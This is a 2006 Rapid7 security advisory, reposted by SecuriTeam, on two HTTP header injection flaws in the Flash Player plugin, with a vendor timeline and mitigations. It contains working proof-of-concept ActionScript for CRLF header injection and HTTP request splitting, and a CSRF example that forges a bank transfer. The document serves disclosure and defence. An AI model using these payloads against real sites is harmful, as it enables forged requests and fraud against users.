[NEWS] HTTP Header Injection Vulnerabilities in the Flash Player Plugin

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



HTTP Header Injection Vulnerabilities in the Flash Player Plugin
------------------------------------------------------------------------


SUMMARY

Two HTTP Header Injection vulnerabilities have been discovered by Rapid7
in the Flash Player plugin. They allow attackers to perform arbitrary HTTP
requests while controlling most of the HTTP headers. This can make it
easier to perform CSRF attacks [2] in some cases. When the HTTP server
implements Keep-Alive connections and when Firefox is used, these Flash
vulnerabilities can even be used to perform totally arbitrary HTTP
requests where every part is controlled by the attacker: HTTP method, URI,
HTTP version, headers, and data. Such attacks make use of the HTTP Request
Splitting method.

DETAILS

Vulnerable Systems:
* Flash Player plugin version 9.0.16 (for Windows)
* Flash Player plugin version 7.0.63 (for Linux)

Immune Systems:
* Flash Player plugin BETA version 9.0.18d60 (for Windows)

Detailed Analysis:
The vulnerabilities described hereafter have been successfully tested with
the latest versions of Flash available for various platforms as of
2006/09/06, and with multiple combinations of browser/OS:
* IE6 SP2 (aka IE6 SV1) for Windows, with Flash plugin version 9.0.16
* Firefox 1.5.0.6 for Windows, with Flash plugin version 9.0.16
* Firefox 1.5.0.6 for Linux, with Flash plugin version 7.0.63

Vendor Status and Information:
Adobe Systems, Inc. <http://www.adobe.com> http://www.adobe.com

Sep 18, 2006
Adobe acknowledges reception of the vulnerability details.

Sep 29, 2006
Adobe responds with proposed dates for a fix later this year.

Oct 5, 2006
Adobe releases a fixed BETA version of Flash 9 for Windows (version
9.0.18d60, release files are named beta_100406).

Oct 17, 2006
Advisory is published after expiration of the 30-day grace period
granted to Adobe to fix and disclose the vulnerabilities.

Solution:
Used the fixed BETA version (9.0.18d60). Only allow trusted websites to
use Flash. Disable or uninstall the Flash plugin. Use alternative Flash
plugins (GplFlash, Gnash).

XML.addRequestHeader() Vulnerability
Flash features a scripting language called ActionScript. ActionScript
comes with a certain number of standard classes available to Flash
developers. In particular, the send() method of the XML object can be used
to send XML document trees to arbitrary URLs using, by default, a POST
request. This, in itself, is not a vulnerability; the XML.send() method
definitely complies with the Flash security model [4].

However another method defined in the XML class, addRequestHeader(), can
be used to add arbitrary HTTP headers to the request performed by Flash.
Its intended usage is:
var req:XML=new XML('test');
req.addRequestHeader("X-My-Header", "42");
req.send("http://host/path";);

When calling req.send("http://host/path";), such a POST request would be
submitted to 'host' (common HTTP headers that do not matter to us in this
example have been removed for brevity):

POST /path HTTP/1.1
Host: host
Referer: (referer)
Content-type: application/x-www-form-urlencoded
X-My-Header: 42
Content-Length: 4

test

For security reasons, Flash 9 does not let developers use
addRequestHeader() to set headers such as Host, Referer, or
Content-Length.

But there is a way to get around this security restriction: the
addRequestHeader() method does not sufficiently sanity check its two
arguments. This makes it possible to inject arbitrary headers:

req.addRequestHeader("Referer:http://anywhere\r\nX-foo";, "bar");

With IE, a request containing only the fake Referer is sent:

POST /path HTTP/1.1
Host: host
Referer: http://anywhere
Content-Type: application/x-www-form-urlencoded
X-foo: bar
Content-Length: 4

test

With Firefox, a request containing both the real Referer and the fake one
is sent:

POST /path HTTP/1.1
Host: host
Referer: (real referer)
Content-type: application/x-www-form-urlencoded
Referer:http://anywhere
X-foo: bar
Content-Length: 4

test

For this attack to work, the first argument of addRequestHeader() must not
contain any space (ASCII 0x20) else the Flash plugin appears to ignore the
addRequestHeader() call. This is absolutely not a problem in real-world
attack scenarios, because the space character usually present before the
Referer value is optional (see RFC 2616 [5], section "4.2 Message
Headers").

It is interesting to note that IE seems to post-process the headers
generated by Flash before sending them to the HTTP server. Indeed, IE
diligently removes the real Referer to use the Flash-generated one, and it
even automatically adds the optional space character before the fake
Referer value.

Of course any cookie that would be associated with 'host' would be
automatically sent along with the request, which is another good thing for
attackers.

For total control of the generated request, when the server supports
keep-alive connections and when Firefox is used, it is possible to use the
HTTP Request Splitting method to insert another HTTP request:

req.addRequestHeader("Content-Length:0\r\n\r\n" +
"POST\t/anotherpath\tHTTP/1.1\r\n" +
"Host:host\r\n" +
"Referer:faked\r\n" +
"User-Agent:faked\r\n" +
"Content-Type:faked\r\n" +
"Content-Length:3\r\n" +
"\r\n" +
"foo\n",
"bar");

This generates what Firefox thinks is one request, while in fact the
server interprets it as two separate requests because of the fake
"Content-Length:0" header:

POST /path HTTP/1.1
Host: host
Keep-Alive: 300
Connection: keep-alive
Referer: (real referer)
Content-type: application/x-www-form-urlencoded
Content-Length:0

POST /anotherpath HTTP/1.1
Host:host
Referer:faked
User-Agent:faked
Content-Type:faked
Content-Length:3

foo
: bar
Content-length: 4

test

Tabs (ASCII 0x09) have to be used around the URI ("/anotherpath") instead
of spaces (ASCII 0x20) else, as explained above, Flash ignores the
addRequestHeader() call. But other than this minor inconvenient, pretty
much any other character can be sent, absolutely nothing is URL-encoded,
which gives plenty of freedom to attackers.

The unwanted data after "foo" (": bar\r\nContent-length: 4\r\n\r\ntest")
do not create any problem at all either. Because the attacker-controlled
"Content-Length:3" header takes care of instructing the server to ignore
any subsequent data.

When trying to use this HTTP Request Splitting method with IE, it fails
with a generic "The page cannot be displayed" error. This is probably due
to the fact that when IE post-processes the headers (as explained
previously), it messes up the manually built HTTP request and ends up with
something that doesn't look like 2 valid requests at all. In particular,
what seems to trigger this error is the CR LF CR LF sequence separating
the headers from the body. This issue has not been investigated any more.
More research is necessary to determine if exploiting IE this way is
possible.

It should be pointed out that this new Flash 9 XML.addRequestHeader()
vulnerability is similar to other, previously reported vulnerabilities in
Flash 7 & 8 affecting the LoadVars class, as explained in this Bugtraq
posting from Amit Klein [1]. So, in a certain way, this new vulnerability
re-opens a path of exploitation that was available to attackers in Flash 7
& 8.

XML.contentType Vulnerability
The XML class defines the contentType attribute, which can be set by Flash
developers, e.g.:

req.contentType = "text/plain";

The exact same vulnerability than the one described in the previous
section also exists for this attribute: Flash does not check the validity
of its value before building the HTTP request. It is possible to exploit
it in the same way that addRequestHeader() is used:

req.contentType = "text/plain\r\nReferer: anything";

Contrary to addRequestHeader(), Flash allows spaces (ASCII 0x20) to be
used in this string.

Consequence
The consequence of these vulnerabilities is that attackers have a lot more
control on the headers that get sent along with HTTP requests, compared to
what is commonly thought possible. In particular the Host, Referer, and
User-Agent headers can be spoofed. It is even possible to voluntarily
generate malformed HTTP requests too, when the HTTP Request Splitting
method is used.

But when combined with other flaws, such as XSS or CSRF, these Flash
vulnerabilities become a handy tool to exploit them. The next section
describes a CSRF attack scenario.

Exploitation Example
Description of CSRF Attacks
A Cross-Site Request Forgery (CSRF) is a form of attack where a malicious
site A exploits the trust a site B has in a user by forging an HTTP
request and sending it to site B, which sees it as coming from its trusted
user. See [2] for a more detailled description of CSRF attacks.

The Flash vulnerabilities presented above can help attackers forge such
HTTP requests.

Multiple approaches exist to prevent CSRF attacks, offering varying levels
of protection. For example requiring POST requests instead of GET requests
is a very poor way to protect against them. Other times, the protection
chosen by web site developers is to check for the HTTP Referer. The
assumption is that spoofing the Referer header is much harder, but not
impossible. These Flash vulnerabilities are able to spoof it.

A much better way to protect against CSRF attacks is to require the use of
a security hash, as described in [3].

Attack Scenario
Let's say a malicious attacker is able to convince a user to visit his
malicious website http://malicious. The intent of the attacker is to
perform a CSRF attack against the user's bank website https://bank to
silently transfer money from the user's account to the attacker's account.
This attack assumes that (1) the bank uses SSL/TLS (HTTPS) combined with
cookie-based authentication, (2) checks the Referer header to prevent CSRF
attacks (hopefully no bank is doing this), and (3) that a money transfer
order can be initiated via such an HTTP request:

POST /xfer.cgi HTTP/1.1
Host: bank
Referer: https://bank/index.html
Cookie: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: 63

from=VICTIMACCOUNT&to=ATTACKERACCOUNT&amount=1000&send=Transfer

The attack also assumes the user is using Firefox, because we are going to
use the CR LF CR LF sequence with addRequestHeader() to insert the HTTP
body data (as explained in section 1.1 this sequence does not work with IE
for an unknown reason).

We have to insert the HTTP body using addRequestHeader() because this way
the body doesn't get URL-encoded by Flash (it is URL-encoded when passed
as a string to the XML() constructor).

And we have to prevent URL-encoding in order to preserve the ampersands
("&") present in the body ("from=...&to=...").

So, in order to perform the attack, the attacker would have to place a
Flash movie on http://malicious containing this ActionScript code:

var req:XML=new XML('x');
req.addRequestHeader(
"Referer:https://bank/index.html\r\n"; +
"Content-Length:63\r\n" +
"\r\n" +
"from=VICTIMACCOUNT&to=ATTACKERACCOUNT&amount=1000&send=Transfer\r\n",
"y");
req.send("https://bank/xfer.cgi";);

Then, when the user would visit http://malicious, assuming his browser
still owns an unexpired cookie from the bank, this request would be sent
via HTTPS (XML.send() allows an HTTP site to send data over HTTPS):

POST /xfer.cgi HTTP/1.1
Host: bank
Referer: http://malicious
Cookie: (bank cookie)
Content-type: application/x-www-form-urlencoded
Referer:https://bank/index.html
Content-Length:63

from=VICTIMACCOUNT&to=ATTACKERACCOUNT&amount=1000&send=Transfer
: y
Content-length: 1

x

And the attack would succeed, despite SSL/TLS, despite the cookie auth,
and despite the Referer check (if the application server takes into
account the second Referer).

If URL-encoding of the HTTP body is acceptable, then IE can be targetted
by not using the CR LF CR LF sequence, then only one Referer would be
present in the headers.

Footnotes:
[1] <http://www.securityfocus.com/archive/1/441014/30/0/threaded>
http://www.securityfocus.com/archive/1/441014/30/0/threaded
[2] <http://en.wikipedia.org/wiki/Csrf> http://en.wikipedia.org/wiki/Csrf
[3] <http://www.squarefree.com/securitytips/web-developers.html>
http://www.squarefree.com/securitytips/web-developers.html
[4] The Flash security model allows SWF files to perform XML.send()
requests to other domains, because this method can only be used to send
requests (and not receive the associated responses, which could be
sensitive/private data). This, plus the fact that Flash enforces other
restrictions (such as preventing the overwriting of some HTTP headers),
explains why the security model allows cross-domain XML.send() requests.
[5] RFC 2616 - Hypertext Transfer Protocol -- HTTP/1.1
<ftp://ftp.rfc-editor.org/in-notes/rfc2616.txt>
ftp://ftp.rfc-editor.org/in-notes/rfc2616.txt


ADDITIONAL INFORMATION

The information has been provided by <mailto:advisory@xxxxxxxxxx> Rapid7
Advisory.
The original article can be found at:
<http://www.rapid7.com/advisories/R7-0026.jsp>
http://www.rapid7.com/advisories/R7-0026.jsp



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages